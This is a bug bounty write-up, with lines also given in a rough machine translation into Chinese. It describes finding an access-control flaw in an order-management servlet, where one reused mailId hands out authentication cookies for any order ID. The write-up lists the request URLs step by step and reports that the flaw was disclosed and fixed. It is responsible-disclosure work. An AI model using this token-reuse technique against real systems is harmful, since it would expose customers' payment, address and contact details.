In July 2023, I received an invite of a significant bug bounty program, with massive assets in-scope, my approach mirrored what I typically do when testing such extensive programs — searching for old endpoints using specific Google Dorks.
2023 年 7 月，我收到了一个重要的漏洞赏金计划的邀请，其中有大量资产在范围内，我的方法反映了我在测试如此广泛的程序时通常做的事情——使用特定的 Google Dorks 搜索旧端点。

After digging and experimenting with various dorks, I discovered a subdomain dedicated to storing user orders.
在挖掘和尝试了各种傻瓜之后，我发现了一个专门用于存储用户订单的子域。

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002233893

I visited it, but of course, I got a forbidden error.
我访问了它，但当然，我得到了一个被禁止的错误。

I wanted to see if there were more endpoints, so I saved that one for later and use the Wayback Machine.
我想看看是否还有更多端点，所以我保存了那个端点以备后用，然后使用 Wayback Machine。

Using the Wayback Machine. I found this new interesting endpoint:
使用 Wayback Machine。我发现了这个有趣的新端点：

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=003163553&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

I requested it and received a ‘200 Ok’ response, but it returned a blank page. Upon inspecting the response, I noticed the server was setting cookies each time I sent a request.
我请求它并收到“200 OK”响应，但它返回了一个空白页。在检查响应时，我注意到每次我发送请求时服务器都在设置 cookie。

HTTP/1.1 200 Ok

.
..
...

Set-Cookie:WC_PERSISTENT*=*************************
Set-Cookie:WC_AUTHENTICATION_*=***********************
Set-Cookie:WC_USERACTIVITY_*=*************************

...
..
.

If you are familiar with these cookies, you know these are actually authentication cookies.
如果您熟悉这些 cookie，您就会知道这些实际上是身份验证 cookie。

So, I tried to see order 003163553 with those cookies
所以，我试图查看这些 cookie 的订单003163553

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=003163553

And it worked! I gained access to that order. I speculated that the mailId might serve as a security key for accessing orders. To test this theory, I attempted the same exploit with another orderId I had found during earlier Google dorking (order 002233893, remember?) and managed to access it as well.
它奏效了！我获得了该订单的访问权限。我推测 mailId 可能用作访问订单的安全密钥。为了验证这个理论，我尝试了另一个在早期的谷歌傻瓜（顺序002233893，还记得吗？）中发现的另一个 orderId 漏洞，并设法访问了它。

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002233893

While the mailId apparently tries to act as a security key, it works as the security key for all orders and will grant you access to any order as long as it is valid and present when requesting:
虽然 mailId 显然试图充当安全密钥，但它可作为所有订单的安全密钥，并且只要它有效且在请求时存在，它就会授予您访问任何订单的权限：

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=<anyorder>&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

To summarize, if I wanted to access, let’s say, orderId 002143893, my initial step would be to request the following in order to obtain the cookies for that specific order:
总而言之，如果我想访问 orderId 002143893，我的第一步是请求以下内容以获取该特定订单的 cookie：

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=002143893&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

I will get a blank response, but the server will provide me with the cookies for that specific order.
我将得到一个空白的回复，但服务器将向我提供该特定订单的 cookie。

HTTP/1.1 200 Ok

.
..
...

Set-Cookie:WC_PERSISTENT*=*************************
Set-Cookie:WC_AUTHENTICATION_*=***********************
Set-Cookie:WC_USERACTIVITY_*=*************************

...
..
.

Now that I have the cookies, I can now access order 002143893
现在我有了 cookie，我现在可以访问订单002143893

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002143893

This vulnerability could have allowed an attacker to access anyone’s order, comprising sensitive details such as Payment Method, Contract PDF, Billing & Shipping Address, Email Address, Phone Number, First and Last Names, potentially exposing information of 3 Million People.
此漏洞可能允许攻击者访问任何人的订单，包括敏感详细信息，例如付款方式，合同PDF，帐单和送货地址，电子邮件地址，电话号码，名字和姓氏，可能暴露300万人的信息。

As you can see, Google Dorking and the Wayback Machine were the key to find this issue.
如您所见，Google Dorking 和 Wayback Machine 是找到此问题的关键。

After the Security Team Investigation, they believed this vulnerability was never exploited.
在安全团队调查之后，他们认为这个漏洞从未被利用过。

Timeline: 时间线：

Reported → July 19th 2023
报告→ 2023 年 7 月 19 日

Triaged → July 20th 2023
2023 年 7 月 20 →分类

Max Critical Bounty + Bonus Awarded → July 24th 2023
2023 年 7 月 24 日→发放的最大暴击赏金 + 奖金

Fixed → July 24th 2023
固定→ 2023 年 7 月 24 日